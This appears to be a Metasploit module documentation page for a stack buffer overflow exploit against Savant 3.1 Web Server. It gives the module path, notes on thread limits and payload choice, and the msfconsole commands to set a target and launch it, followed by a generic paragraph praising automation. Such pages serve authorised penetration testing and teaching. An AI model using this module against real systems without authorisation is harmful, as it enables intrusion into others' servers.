Savant 3.1 Web Server Overflow

Description

This module exploits a stack buffer overflow in Savant 3.1 Web Server. The service supports a maximum of 10 threads (for a default install). Each exploit attempt generally causes a thread to die whether successful or not. Therefore, in a default configuration, you only have 10 chances. Due to the limited space available for the payload in this exploit module, use of the "ord" payloads is recommended.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/http/savant_31_overflow
msf exploit(savant_31_overflow) > show targets
    ...targets...
msf exploit(savant_31_overflow) > set TARGET < target-id >
msf exploit(savant_31_overflow) > show options
    ...show and set options...
msf exploit(savant_31_overflow) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
